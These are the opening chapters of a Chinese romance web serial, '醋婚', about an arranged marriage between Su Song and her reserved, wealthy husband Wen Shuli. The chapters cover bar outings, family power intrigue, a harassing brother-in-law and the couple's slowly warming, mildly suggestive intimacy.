《醋婚》
001 深夜偶遇不良贤妻
清吧里,苏颂看着店里的设计,依然很对她的审美,她优雅地喝了一口鸡尾酒,这种惬意,真是久违了,结婚三年,她没熬成黄脸婆,却成了无交友无娱乐无自我的三无主妇,生活,成了按部就班的无趣。
时间已经到十点半,她跟温戍礼有约定,晚上十一点前,两人都要到
家,可今晚她有点不想回去。
她有些后悔,当初不应该听奶奶的,要约束丈夫,不让他在外过夜,避免拈花惹草,如今门禁对她也成了一种束缚。
一杯酒喝完,她站起来,同好友说:“我得回去了。”
闫丽抬腕看手表:“这么早?今晚是我店里开业,就不能再坐会?”闫丽的事业原本不在这边,这是她第一次来南城开店,也是时隔三年,再见到苏颂。之前每次约她,她都说没时间。
苏颂拢了拢外套,笑笑拒绝:“我们约定好的,晚上十一点前到家。”
闻言,闫丽很诧异,毕竟这跟她认识的苏颂不一样。她惊讶地问:“以前恨不得在我店里过夜的小辣妹,现在也服管了?”
闫丽是开夜店起家的,苏颂到她店里玩到不愿意走,一来二去两人便熟悉起来,不过对于苏颂的丈夫,她也有所听闻。温家,是南城的大家族,顶级豪门。她只当苏颂是被对方管着,身不由己。
哪知道苏颂摇摇头,略显苦恼地说:“门禁是我定的。”她依依不舍的表情,有种搬起石头砸自己的脚的感觉。
这话更让闫丽佩服,毕竟真正能驯服男人的女人很少,且,这个男人还不是普通男人。她赞叹道:“玩的时候,能是夜店小公主,收的时候,能是温家少奶奶,收敛自如,手段一流,不愧是你。
就是可惜了,有人还对你念念不忘。”
一听这话,苏颂只当闫丽是在打趣她,因为她每次都是一个人去,一个人玩,也没有招惹什么人。
“不能乱说,别被人听见乱传,温戍礼那人太保守了,万一传到他耳朵里,他多想,我就完了。”她这三年为什么过得这么无聊,还不是为了配合她的好老公。因为温戍礼超级自律,除了工作,他不娱乐。
而苏颂也就是叛逆期的时候贪玩,逛逛夜店,并不是什么乱来的人,本是清者自清,但也不想被人借题发挥,滋生事端。
闫丽点点头,闭紧嘴巴,眼神四下张望起来,一副生怕害到自己的小姐妹的样子。
苏颂被闫丽这个夸张的样子逗笑了,拍了她一下,大笑起来:“别装了,还有你怕的人?”
两人嬉嬉闹闹地告别,没发现对面有一双眼睛在盯着。
对面的club门口,温戍礼夹烟的动作一顿,望着对面的方向。
隔着二十多米的距离,加上灯光浑浊,令他瞧不清那张脸,可是身形,很像他的妻子。
也不对,他联姻来的小妻子,温柔贤惠,走的是小家碧玉那一款,是不会发出那么豪爽的笑声的,就算声线很像,也绝对不是。
002 深夜回家,小妻子在等他
温戍礼想象不出苏颂哈哈大笑的样子,同时也否定了那个人是苏颂的想法。
顾辽舟见好友在看着对面,以为是注意到那家店,说明道:“今晚刚开业的,老板不是本地人,但我还没打听出来,对方是什么底细,能在这里,开这样的店。”
白色的灯管拼凑出一个歪歪扭扭、却不缺艺术感的英文。
“Lily清吧?”温戍礼觉得这个名字有些奇怪,不是百合花不好听,而是如今的社会,很多美好的词汇都变了质,其中就有“百合”这个词。
他看向顾辽舟,后者笑笑,肯定了他的想法。
温戍礼抽了一口烟,深邃的眸光,泛出那么点冷,他觉得有点恶心。
“能在你的地盘开这样的店,辽舟,你不行了。”顾家曾经也是南城数一数二的家族,这条街,是顾家的地盘。
被这样说,顾辽舟不怒反笑,他笑声爽朗,承认说:“顾家如今是不太行了,所以今晚我才请你过来,不过你却顾着门禁要走人。
堂堂温大少,被一个女人管着,你也不怕被笑话。”
他拍拍温戍礼的肩膀,学着他的语气,一本正经地说:“戍礼,你不行了。”
温戍礼夹着烟的手拍开他的,道:“夫妻情事,你懂什么。”
说着,司机已经把车开过来,温戍礼上了车。顾辽舟在车外,身边多了个追出来的女人,他搂着女人的腰,笑得招摇,咧着嘴,朝着车里的温戍礼说:“我才不要被束缚,女人,你一旦给她好脸色就蹬鼻子上脸,自由自在多好。
你要是有天腻了就来找我,我这里可好玩了。”
温戍礼忽略他的挤眉弄眼,径直嘱咐司机开车。
。
苏颂刚洗完澡出来,温戍礼也到家了,她暗暗庆幸,还好自己快一步。
明明她也没干什么,可能是因为这是她婚后第一次自己晚上出门,还这么晚回来,所以有种偷干坏事的感觉。
她平息快速的心跳,尽量用如往常一样的轻声口吻,微笑地问:“回来了?要茶还是醒酒汤?”
坐到温戍礼这个位置,不可能不应酬,一般他喝得少就要茶,喝多些,就需要醒酒汤。苏颂已经走到茶几那边,因为她觉得温戍礼今晚没喝多少,他看起来脸色如常。
哪知道他说:“不用,没喝。”
苏颂转过头去,正好看到他抬手。男人一手扯开领带,一手朝她挥了挥,道:“过来。”
声音低醇,夹着暗夜里的沙哑,格外动听。
她听话地走过去,被他一把拽进怀里。
温戍礼是帅气的,特别是他偶尔一些动作,都像是自带荷尔蒙,加上他的性子本身就冷傲,很难让人不沉迷,当然他有拽酷的资本,这些都为他这个人增添魅力。
苏颂对温戍礼是满意的,不管是他的长相、声音,还是他的能力,都符合苏颂的憧憬,除开他的性格。
“今晚的衣服,变了。”温戍礼低头,目光正好落在她敞开的领口处。
003 不正经的古板丈夫
向来穿居家圆领睡衣的老婆,今晚穿的居然是V领的丝绸睡衣,领口还有点低。
男人的目光大胆且放肆地巡视着属于他的领地,可这样炙热的眼神,配上他微微蹙起的眉头,被苏颂理解为了不喜欢。
她想到奶奶的教导:“温家大少那人严谨传统,嫁过去之后,一定要收起你爱玩的性子,没有男人会喜欢随便的女人。”临嫁前,奶奶得知她喜欢去夜店,连夜把她抓回来后,对她又批评又教育,最后语重心长的告诉她这句话。
这句话也成了她跟温戍礼相处的准则。
闻言,她拢起领口,怪她回来的时间匆忙,随手抓了一套睡衣换。因为她身上都是清吧里的香薰味跟酒味,她怕温戍礼问,更怕他下一秒就回来,所以紧紧张张的。
“那个……”她抓着领口就要解释。
哪知道她一开口,男人就嗅了嗅,道:“你喝酒了。”肯定的语气。
苏颂闭紧嘴巴,感叹他的鼻子怎么这么灵。不过她现在就在他怀里,两人的距离本来就近,她懊恼,自己不应该一时经不起诱惑的。奶奶说过,喝酒的女人不成样。她现在,在温戍礼心里的形象,会不会变得很不好了?
情急之下,苏颂往上一抬,轻易地接触的温戍礼的唇瓣,两人蜻蜓点水般的吻了一下。
温戍礼目光炯炯地落在她脸上,只听她说:“我是见你经常喝酒,就想着试一下。”
“你这是在控诉我,忽略你了?”虽然答应她说的十一点前到家,但温戍礼很忙,于是每天晚上只能卡点回来。心领神会的他,大手包裹住她的手。
忙是一回事,但婚后三年,一千个日夜,也不是没有空闲的时候,可家里这位,除了体贴就是关心,时间久了,他觉得她有些乏味跟啰唆,让他不太想回来。
毕竟,娶个老婆,又不是找个妈。
但这会,他有点动情,他的老婆此刻,美丽又性感。
苏颂感觉到自己抓着领口的手在渐渐松开,男人的脸在靠近,气息越发的浓郁,他们之间,一般都在床上,多半是她睡到半夜,然后他上床,一切自然又水到渠成。
这种情况,让她不知道怎么办,灯光下,她看得清清楚楚,只见他目光深邃,目的清楚地要来吻她,手也不老实。
而她松开的领口甚至滑落了肩膀,不知道怎么应对的苏颂索性闭上眼睛。
隔天,苏颂醒来,身边的位置已经空空,她有些娇羞地抱住自己,想起昨晚,是她从未有过的体验。
之前,她只觉得这种事,又疼又难受,一点都不舒服,可她昨晚竟然有些享受,她记得,后面是她紧紧地搂住他的脖子,他把她抱进来的。后来,貌似还是他给她……
不能想了,苏颂摇摇头,觉得羞死了。
她拿起手机,想分散注意力,看到一条新信息。苏颂点开,是温戍礼的。
【出差两天。】
内容简单直接,跟他这个人一样,透出一股古板无趣。
004 高冷的温先生,食髓知味
都网络时代了,他依然发短信,还有,发消息的时候,把句号都打上了,真做到一板一眼。
这是婚后第一次,温戍礼跟她说行程,以往,他想走就走,想回来就回来,让她觉得,这里不是他们的家,更像是他临时落脚的旅馆。
事出反常必有妖,苏颂不由得胡思乱想。
依稀的记忆里,昨晚事后,她太累了就睡着了,可身旁的他似乎还在翻来覆去,甚至迷糊间,她好像看到,他在盯着自己,似乎在隐忍什么。
于是,他的主动报备,反而让苏颂以为是给她的警示。难道是在提醒她,她的行为越距了?
而这边车上,助理发现了上司的状态不是很好,眼下有黑眼圈,且上车之后,上司就盯着手机出神,也不说话,难得把心事写在脸上。
“温总,去新加坡的事怎么提前了?”助理一大早接到电话,赶来的路上一直不安,就怕出差错,小心问道,“是那边有急事吗?”
温戍礼放下毫无动静的手机,终于抬起视线,道:“那边没急事,是我自己。”
他总不能说,他对自己的太太沉沦了吧?
昨晚后半夜,他竟然一直在忍着,不去叫醒她,可是她为什么睡不醒?到了早上六点还不醒,那个时候,他的兴致可太好了,可刚靠近,她就推开他,嘴里嘟囔着还要睡,能怎么办?他怕吓到她,只能找事干了。
想起昨晚,他依然食髓知味,他的妻子一直谨慎小心,那种事上也显得保守,难得这么放得开,这让他很兴奋。但是,她为什么不回信息?
修长的手指敲着手机的边缘,他活了三十二年,这是他第一次有意向跟人说起自己行踪,他有意跟苏颂提升感情。
助理还在等着他往下说,哪知道上司一会看着手机若有所思的,一会失笑,很无可奈何的样子,让他不由得思索是不是事态很紧急的时候,温戍礼又开口:“去到那边,你先去挑一份礼物,我要送给太太。”
这也不是什么稀罕事,助理之前也做过,但稀奇的是,他的上司又接着说,“要挑她喜欢的,看到会高兴的”。
昨晚后面,她好像哭了,还说他坏,温戍礼想,应该买点东西哄哄她。
这却让助理内心暗暗诧异,难道上司今天的反常是因为太太?
千年铁树开花了?
助理连忙应下:“好的。”
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温戍礼出差,对苏颂来说毫无影响,她雷打不动地在早上八点前到达温家。
并不是苏家家教真的这么保守,只是在温戍礼对苏氏力挽狂澜之后,苏颂想为他做点什么,思来想去,她也就只能帮他尽尽孝心。
今天公公温航之不在,婆婆林美丽是温戍礼的后妈,对苏颂一直不咸不淡,应了她一声,就上楼去了,连苏颂泡的早茶都没喝一口。
忙活了大半个小时,就这样坐了冷板凳。不过苏颂也不气馁,她安安静静地收拾着。
不感到难堪,也不感到失落,像是在完成机械指令般。
005 被婆家冷落
外面都说,温戍礼不受宠爱,所以才会娶了当时快破产的她,但苏颂觉得,温戍礼要是真的跟他爸关系不好,又怎么会听话跟她结婚?他那么有主见的人,可不像是会被安排的。
她这样做,是想从中缓和他跟他父亲的关系。毕竟,温家现在还在老温手里,万一惹他不高兴了,以后家业给少了,或者直接不给温戍礼怎么办?
做完该做的,苏颂便离开温家,温戍礼不在,她从不在这用餐。她在温家态度,一直都是恪守本分又从不越界。
苏颂边走边用手机回复消息,没有察觉背后两双眼睛在盯着她。
楼上阳台,林美丽的厌恶毫不掩饰,身旁的大儿子温泰倒是看得满含笑意。
温泰说:“这个苏颂还真有意思,每天被你这么刁难,还坚持来。”
自己母亲什么性子,他清楚。温泰忽略母亲瞪人的目光,又问:“你既然这么不喜欢她,当初为什么要让爸答应这门亲事?”
苏颂的奶奶跟他们爷爷是旧识,打着旧情的幌子上门。不过他们爷爷已经不在多年,他爸甚至在之前都没有见过苏家老太太,压根可以不理会。
而温泰记得,他爸原本也不想见苏家人的,是他妈,林美丽女士,让见见,甚至撮合了温戍礼跟苏颂的婚事。
说起这件事,林美丽有些烦躁:“还不都是为了你们!”
“我以为苏家快不行了,老大娶了她,一点助力都没有,万一苏家倒了,还会连带着被你爸看不起,谁知道,他竟然不到一年就把苏氏盘活了!”
这件事,几乎成了林美丽的心结,她反而给了温戍礼露一手的机会。她气得不行,转头说起儿子来:“还有,你以为苏颂真是什么傻白甜啊,这三年雷打不动地到家里来给你爸敬茶,真的只是尽孝吗?
尽孝进到得给项目,让老大去新加坡?”苏颂的手段好着呢!
温泰还不知道,显得震惊:“什么,温戍礼去新加坡?”
“哼,不然你以为。没想到温戍礼表面上看起来对温家毫不在意,却让老婆帮他助了这把力,这两公婆一唱一和得真好!”
新加坡那边是盛泰的合作,让他代表盛泰,是老头对长子态度软化的体现。这是危险的信号,而她把这一切变化的源头归结在苏颂上。
什么老实本分,不过是温水煮青蛙罢了,这个苏颂,还真有两下子!
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因为温家坐落在半山腰别墅,苏颂车技不好,她也没有请司机,所以每次来都是打车,等车的间隙,温泰双手插着兜,晃着双腿走出来。
原本苏颂当他是要出门,没理会,可他却停在她的面前,没走的意思。
瞬间,苏颂就明白了,温泰是来找她的。
“二叔。”奶奶叮嘱过她,对于温家人,要与善。所以苏颂对待温家人,秉持的一直是礼数周全。她照着旧规矩喊温戍礼的弟弟。
可温泰却“嘁”的一声笑了,开口就对苏颂耍无赖。
006 难以启齿的亲密事
他说:“嫂子玩过角色扮演吗?你每次这么喊我,我都会想到国王会所里面妞儿。啧~”说着,他还故意用猥琐的目光在苏颂身上巡视一下。
被调戏的苏颂下意识就要给他一巴掌,结果抬起的手被温泰握住:“嫂子生气的反应还是一样。”
温泰骚扰苏颂不是第一次了,最早一次在三年前,那是她奶奶带着她第一次上温家的门,奶奶有话要跟温航之说,让她在院子里等,结果遇上了刚放假回来的温泰。
那个时候,温泰还是个大学生,言行远没有现在稳重,他见苏颂漂亮,就上前搭讪,不经事的年纪,被惯坏的性子,让他不得逞就要上手。那会的苏颂也不老实,抬手就给了他一巴掌。
后来,她才知道奶奶带她上温家的意图,也才知道她打的是温家二少,当时还感叹自己的不知天高地厚,但现在,苏颂后悔,当时怎么没把这个浪荡子打死!
温泰忽略她冒火的眼神,手指还在她的手腕上滑了一下,占了便宜才松手:“嫂子好凶,不过更迷人了。”
“变态!”苏颂不喜欢跟温泰接触,除开他好色,苏颂还发现这个人深有城府。要不然,温戍礼不会被他压住这么多年。
被骂了,温泰也不在意,他笑笑说:“别激动,我来只是想告诉你,我妈的耐心快用完了,你要当心哦!”
说完他就走了,临走前还回头对她抛媚眼,都快把苏颂整恶心了。
与其说温泰在好心提醒,倒不如说是在恶作剧。整个南城谁不知道,温戍礼跟他继母林美丽不对盘,她是温戍礼的妻子,自然也是林美丽的眼中钉。
可是当初她跟温戍礼的婚事是林美丽促成的,加上这三年,林美丽只是不太搭理她,也没有为难过她,所以温泰今天的行为,被苏颂当成是他找借口骚扰自己,并没有当回事。
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苏颂离开温家之后,来了闫丽这里,白天清吧的生意更淡了,只有两个女孩子在聊天,于是苏颂也找了个靠玻璃窗的位置坐着。
闫丽出来的时候,看到苏颂坐在那,惊讶地问:“你怎么坐在这?”
苏颂以为闫丽是问她怎么没去她办公室坐着,笑笑说:“我觉得这里风景好。”说着,苏颂想到坐在这里会不会不方便,又说,“不会影响你做生意的,有人来,我就进去。”
闫丽当然也不是怕她影响自己的生意,而是现在大白天的,坐在窗户边,外面经过的人都可以看到……
思虑不过一瞬,闫丽走过去坐在苏颂对面,她问:“你今天怎么有空?”
之前找店面跟装修花了一年的时间,闫丽偶尔会过来南城,她也约过苏颂,但苏颂都说没空,只有昨天开业,她才答应过来。
服务生给苏颂上了一杯苏打水,她晃着杯子,犹犹豫豫地开口:“有点事,想不通,想问问你。”
苏颂将昨晚的事情说了一下,闫丽听后,微张着嘴巴,半晌没说话。
007 温戍礼就怎么了?他就不是男人吗?
苏颂以为是这种事,闫丽不好评价,羞红着脸说:“我不知道跟谁说,夫妻间的事情,本来是不可以随便说出来的,但我以为,你感情经历要丰富一些,能帮我分析……”
说到最后,苏颂几乎没了声音,她快要羞死了。
“哈哈哈……”哪知道闫丽忽然大笑起来,甚至笑得眼泪都出来那种,捧腹大笑说,“一件睡衣有什么?你是不是没见过情趣内衣啊?”
啊?苏颂的脑子有些当机,随即脸上快速红温,脑袋都要埋进去了,幸好,那两个小姑娘已经走了,要不然她就是社死了。不过闫丽说话怎么还是这么直接啊!
“你小声点,你店里还有小妹呢!”苏颂压着声音,苦着脸求她别笑了,到底有什么好笑的啊。
闫丽忍了忍,忍得眼角都红了,笑声倒是止住了,装起正经给苏颂分析:“你说他生气,生气为什么还碰你?还伺候你?别是闷骚不好意思说,说不准心里享受着呢。”
可苏颂却嘀咕:“可能吗?他可是温戍礼,我听过他的秘书私底下说他禁欲。”
他为人稳重,两人在一起三年,聚少离多,但每次在一起,她都能感受到他的冷静克制,如果她说不舒服他就会立刻中断,然后洗个澡又继续去书房工作。
苏颂依然不相信,温戍礼会纵欲,可闫丽却不这么以为。
“温戍礼就怎么了?他就不是男人吗?”
“男人,就那样。”
顾辽舟走过来,正好听见那一句,不由得看过去,结果透过窗户,清楚地看到苏颂那张脸。这把他惊成O型嘴,随即麻溜地拿出手机,拍照、发送,又编辑文字发送。
【戍礼,你老婆怎么会在这里?】
温戍礼刚抵达,手机刚开机,消息就发过来,他正想问顾辽舟在哪见到的苏颂,就看到顾辽舟的第二条信息。
【你老婆居然在吐槽你不是男人】接着是一连串的哈哈笑死的表情包。
助理拿到行李箱回来,不明白为什么一路上如沐春风的上司,此时脸黑如锅底,咽了咽口水,连问一下贸然来这边第一步要干什么都不敢,识相的当透明人。
保命要紧!
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第二天,苏颂依然来到温家,今天温航之在家,苏颂端茶出来的时候,他正在沙发上看报纸。
苏颂走过去,喊道:“爸,喝茶。”
温航之放下报纸,接了过去,喝完茶,没有继续看报,而是看着苏颂问:“苏颂,你觉得戍礼怎么样?”
当年因为她奶奶急着找人救苏氏,有逼婚的架势,导致这些年,温航之对她的感觉很浅淡。这会他问她话,也有种公事公办的疏离感,但苏颂不在意,她本来也不是为了博温家人好感来的。
准确来说,她是在帮温戍礼刷存在感。
于是听见温航之问起温戍礼,苏颂有条理地说:“他很好,能力出众又稳重可靠,苏氏那样了,他都能挽救回来,如果能进入盛泰,肯定能成为爸的帮手。”
008 论装孝顺跟贤惠,她苏颂独一份
她的直白让温航之惊讶一瞬,他还以为这个媳妇会继续扮乖下去。不过他也没生气,说:“你倒是不藏着狐狸尾巴了,终于坦白,做这么多,就是为了让戍礼能进入盛泰。”
这一天,苏颂等了两年,她准备充分,此时礼貌微笑,不轻浮也不胆怯,像是在跟一个长辈随意聊天,说:“我不需要藏,戍礼他本来也是爸的儿子啊,既然都是爸的儿子,那帮爸分担,不是应该的吗?
至于我,身为媳妇,孝顺公婆也是应该的。”
她说得轻快又流畅,却听得正在下楼梯的林美丽一顿,双脚跟灌了铅似的,一时间下也不是,上也不是。
中华文字博大精深,一个“也”字就很魔性,怎么说得好像他们娘几个排挤温戍礼似的?虽然林美丽确实不希望温戍礼进盛泰,但做主意的不还是他们爸吗?
林美丽警铃大作:苏颂这是在离间他们的夫妻感情?!
“你能这样想,很好。”温航之的声音已经没有一开始那么冷硬,显然对苏颂的一番“孝道”感到满意。
“不过苏颂。”
被点了名,她站得笔直倾听,听到公公说:“戍礼对你来说,先是丈夫,再是温家大少爷。你如果老是把你们的夫妻关系当成合作关系来处理,这不利于你们增进感情。
你看看,这几年,戍礼回家的次数多吗?”
苏颂为这一天做了很多准备,甚至连公公要是大发雷霆,为难她的对策都想好了,结果温航之突然的关心,让她措手不及。
苏颂不敢贸然,心下猜测:这是不想让温戍礼进盛泰,打的迂回法?
哪知道公公却说:“如果你真为戍礼好,应该对他多上心,而不是在我这里下功夫。
以后你不用再过来给我敬茶了,多点时间跟戍礼相处,让我尽早抱上大孙子,到时候当爷爷了,谁不想清闲下来享受天伦之乐,盛泰自然更需要人帮忙打理。
我这么说,你懂吗?”
不是要婉转拒绝她,苏颂松了一口气。
而温航之却担心苏颂有顾虑,又补充道:“我已经让他接触盛泰的单子了,他这两天出差是我安排的。所以等他回来,你该怎么做,能懂吗?”
林美丽走过来,两人的谈话只能结束,苏颂看了看时间,也该走了,转身的时候,规矩地喊一声:“阿姨好。”
好一个“阿姨”,把她堂堂温家女主人,叫得跟一个帮佣一样了,这样还口口声声说孝顺她,连句“妈”都没有。
苏颂的轻待,把林美丽气得不行,转头就问温航之:“你真打算让戍礼进盛泰工作?”
原本他多不喜欢苏颂,现在都劝她跟温戍礼好好过了,还想让她给温家生孩子,难不成真要把盛泰给长子一家?
温航之端起茶,吹了吹,泰然处之地反问:“有问题?”
简单三个字,说明他已经下了决定。林美丽气得牙痒痒,好个苏颂,好个釜底抽薪,真让她扮猪吃到虎了。
不行,她不能这样坐以待毙!
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009 老婆终于回我信息了
苏颂回了她跟温戍礼的家,躺在沙发里发呆,她开始回忆这三年跟温戍礼的相处。
他好像真的回来的次数很少。
头一年,他忙着苏氏的事情,全国各地的跑,经常一两个月见一次,大约是隔得有点久,那段时间他回来,第一时间就是跟她做那点事。
貌似……那时候的他也会热情,有时候欲望上来,还会不管不顾,不像后来,他不那么忙了,却反而显得兴致缺缺,有时候他甚至就睡在书房里。
苏颂开始自我怀疑,闫丽说他们这样的相处模式有问题,现在公公也这样说。
可他对温戍礼还不够上心吗?婚前她就打听过他的喜好,这几年,也一直顺着他的性格在相处,不给他添麻烦,也不给他惹不快,难道不是温戍礼的问题,是他太冷淡吗?
苏颂抱着自己的膝盖想,应该怎么抓住温戍礼的心呢?懂是一回事,但做又是另一回事。
她想了想,最后鼓起勇气,给温戍礼发了一条信息【你是今晚还是明早回来?】
上一条,还是昨天一早,他发的。
【出差两天。】
【你是今晚还是明早回来?】
空白的手机屏幕上,只有简单的两句对话,苏颂这才注意到,他是在凌晨六点发给她的。
6:00连时间都掐得准准的,有零有整,不过,昨天早上六点,她还在呼呼大睡补充精力呢,他就已经计划好出差了吗?这人的脑子一天到晚都在想什么?
该睡觉的时间想工作,怎么不会秃顶?身为一条咸鱼,苏颂表示无法理解。
原本还一脸郁闷的苏颂,在信息发过去之后,整个人轻快起来,反正有计划,也得温戍礼回来了才能实行。她丢下手机,去换衣服,打算先去取取经。
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新加坡
收到信息的时候,温戍礼刚开完会出来,这边跟盛泰已经是老合作关系了,他来是老头给他的试炼,每次重新续约,利润重新分配都会是重中之重。
老头是想看他能为盛泰争取多多少利益空间。
可对方大概见他是新面孔,利益点提高不少,态度还蛮横,他刚经过一番据理力争,可对方也不甘示弱,谈判不欢而散。
温戍礼正蓄满怒火,要质问下属是怎么办事的,结果看到苏颂信息,他顿了顿。
助理带着这边的负责人过来,心里怵得不行,是他忘了跟总部的人做最后一次交接利益点探底,还有打听这边对方公司负责人品行,让上司出师不利。
但打工人是不可能质疑上司为什么要临时出差,让人没时间准备的。助理做好挨训的准备,可进来好一会了,怎么没见上司发火?
他偷瞄一眼,却见上司在盯着手机瞧,手机里是有什么新商机吗?能让公司有更好的选择不成?助理一边想着,一边开口提醒:“温总……”
“订的是几点的回程机票?”
哪知道上司却问起回程时间,助理的大脑此时快速运转,嘴上快速回答,说:“订的明早六点。”
010 风尘仆仆赶回见老婆
“我马上取消。”助理先入为主,觉得上司会问,是想要拿下续约再走,他正掏出手机准备取消,哪知道这次他却领悟错了。
“嗯,明早的取消。”温戍礼说,“定今晚的吧,太太大概有事找我。”
他的妻子苏颂很少给他发消息。其实一开始也不是这样。
刚开始第一年,她还会在聊天软件上问问,但那种东西,他很少用。工作文件一般都走邮箱,他也不是会闲聊的人,所以很多时候,等他看到都要一两个月后了,于是等他回去,见到的是那样娴静温良、不吵不闹的妻子,会引起他的愧疚心,从而让他想给她更多的宠爱。
后来怎么变成这样冷淡的呢?
“温总,我改签好了,那我现在先去收拾东西。”
助理的话让温戍礼收回思绪,轻轻点头,看向站在一旁的区域负责人,又恢复往常对待工作,铁面无私的样子。
温戍礼质问:“现在是怎么回事?”
助理已经快速溜到门外,幸好他跑得快,不然就要一起遭受怒火了。不过,上司这两天很奇怪,又是让他买太太喜欢的礼物,又是为了太太改签的,这是之前从未有过的。
助理是个机灵人,很快就嗅出不一样的味道,看来以后他得对这位太太多关注才行。
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温戍礼落地南城的时候,已经是晚上十点,他没有第一时间回家,而是来King。
他进来的时候,顾辽舟正跟一个女郎打得火热,跳热舞的小姐总是性感又热情,看到温戍礼来了,也没有半点羞怯,甚至还朝着他抛了一个媚眼。
顾辽舟笑着把人叫走,回头打趣温戍礼:“这样的,也没感觉,是不是真不行啊!”他摸着下巴,做出一副耐人寻味的表情,又接着说,“难道你老婆说的是真的,你不是……男人?!”
论不怕死,顾辽舟是认第一,没人敢认第二。但他惹的是温戍礼。
温戍礼眸光凉凉,说:“你的女人还勾着你的手,就对我放电,怎么?没把人睡服?”
网上说一回事,当面又一回事。于是顾辽舟第一次见到温戍礼沉脸。
这语气这态度,再打趣要出人命了。顾辽舟向来能屈能伸,他举手投降,他先起的头,他先道歉:“我不对,温大少你历尽千帆,屹立不倒。”
温戍礼不看他,但已经恢复往常的冷淡,道:“历尽千帆的人是你。”
顾辽舟跟着温戍礼来到会所门口,后者递给他一根烟,顾辽舟接过,点上,见温戍礼没拿烟,以为他是没火,将打火机递给他,但温戍礼没接。
温戍礼问:“你在哪见到她的?”
顾辽舟吸着烟的动作一顿,敢情这是人情烟,也明白过来,他风尘仆仆地赶来,是为了他那位小妻子的事情。
所以,没有哪个男人能接受那方面被质疑的,温大少也不例外。
顾辽舟一双眼睛精得跟猴一样,但也不敢一直盯着对方瞧,甚至怕温戍礼难堪,还故作惆怅起来。
011 吐槽被听见,出夜被发现
“我不告诉你,是为你好。”昨天他后面没回。
温戍礼睨他,饱含震慑力地说:“那我不帮你,也是为你好。”
这话直接让顾辽舟不淡定了,他最近跟温戍礼联系频繁,就是为了得到温戍礼的帮助,但温戍礼一直说这是顾家的内事,一副不想插手的样子。
现在,他是松口了?
顾辽舟很果断,立刻就把看到苏颂的事情完完整整地说出来,等他说完,是一阵沉默。
半晌,温戍礼看着对面,那依然闪烁着亮眼灯光的招牌,依然看得人皱眉。
“你是说,我的太太,去了一家不知道正不正经的清吧,跟一个不知道正不正常的女人在一起,还吐槽了我?”
还得是温戍礼啊,这话顾辽舟一直藏着不敢说,他倒是用两个似是而非的词就说出来了。
男人,其实比被绿更惨的,就是输给女人。
此时顾辽舟有些同情,但目光却不由自主地,又往温戍礼的裤腰带上瞄。
“你再看,我把你眼睛挖了!”温戍礼的语气几分冷几分狠。随即他又说,“辽舟,顾家人,你不是第一个找我,也不会是最后一个,而我拒绝了他们,却愿意跟你谈,不是因为我们曾经是同学,而是,
我认为,你会比顾家其他人聪明。”
顾辽舟先是很认真在听,结果越听越诧异,直到听到温戍礼说。
“我已经知道对面街都被你堂哥卖了,你想守住家族,振兴荣耀,这一点没错,但我不会容忍任何人利用我太太。”
“等等。”顾辽舟打断他,震惊发问,“不是,你以为我是在编谎话骗你?目的就是要你帮我收回对面的商铺?”
温戍礼侧头不语。
顾辽舟可忍不了被误会,急得把烟丢了,说:“不是,就区区一家不入流的小店,我至于嘛!还把你老婆扯进来。”
可这种事,真说不清,就在他后悔昨天干嘛要多事,拍照发给温戍礼,还笑话他的时候,对面两道身影让他眯眼。
“戍礼,你不是不信我吗?你看好,看着你老婆是去哪里。”
顺着他的指引,温戍礼果然看到了一个熟悉的影子,他的太太在笑,很开心地身旁的人说着什么,对方搂住她的肩膀,两人一起进入了对面那家新开的清吧。
。
苏颂踩着十一点的门禁准时到家,她一手拎着大包小包,一手还拿着饮料,费劲地开了个灯,结果却差点被客厅里的人给吓死。
“啊!”
“嘭!”
应着惊吓声,手里的包装袋掉了一袋。
温戍礼走过来,低头就看到那颜色艳丽的布料。
见他在看那裸露的衣服,苏颂吓得结巴,问:“你,你回来了?”
“你这样像在心虚,怎么,外面有人了?”不悦的心情,让男人的话语变得尖锐。
一路上,他一直在想,苏颂跟那女人是什么关系。
温戍礼的话让苏颂瞪大眼睛,几分震惊地说:“你是在开玩笑吗?”
虽然两人的关系一直不算亲密,但好歹是真夫妻,前天晚上,他还跟自己难舍难离,今晚就问这种话,难免让人生气。
012 上战袍
苏颂只当是他在讲冷笑话,一边收拾掉在地上的衣服一边问:“你怎么这么快就回来了?”
她没有直面回答,这让温戍礼感到不满,如果只是跟普通朋友在一起,有什么不能说的,遮遮掩掩反而更有问题。
他感到不高兴,说话便带了些情绪:“不是你问我什么时候回来的吗?怎么,我提前回来你还不高兴了。”
苏颂总觉得今晚的温戍礼有些奇怪。她问他什么时候回来,他没回,这会又说得像是因为她问,他才回来的一样。
曾经的苏颂也曾自以为是,以为温戍礼做那么多是为了她,结果在苏氏摆脱困境,她特意邀请他庆贺,感谢他的时候,却被泼了冷水。从此,苏颂就安分守己,跟他保持界限,不在他的事情上自作多情。
再次站起来,她恢复往常的态度,说:“我只是奇怪,你回来了怎么不开灯,怪黑的。”
她笑得温和,却让温戍礼有些不得劲。
按理说苏颂漂亮、持家、懂事、贤惠,符合他对妻子的所有想法,可是结婚三年了,她的规矩让他觉得生分。
他的妻子完美得像个木偶,更懂事得像个局外人,原本他以为是她性子就这样。可今晚见到她跟友人在一起,那种开朗大笑,闲适随性都是他从没有见过的。
温戍礼明白过来什么,他的太太可能一直在他面前伪装。
“自己去逛街?买了什么?”他是个求真的人,再次给她机会,想要苏颂自己说出那个人。
苏颂紧紧地抓住手中的袋子,里面的衣服都是闫丽带她去买的,可不单纯去买吊带,闫丽还拉着她去了情趣商店。苏颂不敢让温戍礼知道,于是撒了谎:“没有,就我一个人。”
怕温戍礼来看,她边走边敷衍地回:“就衣服啊。”说完,抱着一堆袋子,匆匆进了房间,跟有鬼追一样。
等苏颂洗完澡出来,发现温戍礼还没回房,大概又在书房里忙了,这种日子延续很久了,久到让她以为,夫妻婚后都是这样,可闫丽却说,日子再平淡,也得解决生理需求吧,男人在这块跟女人不一样,频率不对,情况就不对。
她还说,身边放着一个大美女老婆,哪个男人愿意当和尚。
苏颂跟闫丽的感情观一直不一样,她追求纯爱至上,但闫丽是享受主义,闫丽的情感经历都是靠积攒的,所以对男人的了解这块,她还真的不如闫丽。
可是有些东西她还是接受不了,苏颂拿起最小但却最重的袋子,这是闫丽给她挑的,知道她脸皮薄,趁她上车的时候才塞进来,但此时,这袋东西被苏颂藏在衣帽间最隐秘的角落里。
苏颂转身,拿起另一个白色的纸袋,里面的衣服布料很少,但主打一个重点都有遮盖。
她跟温戍礼是联姻,但她对两人的关系从没有动摇过,特别是在他挽救苏氏之后,苏颂对他更是感恩戴德,一心想扮演好他妻子的角色。
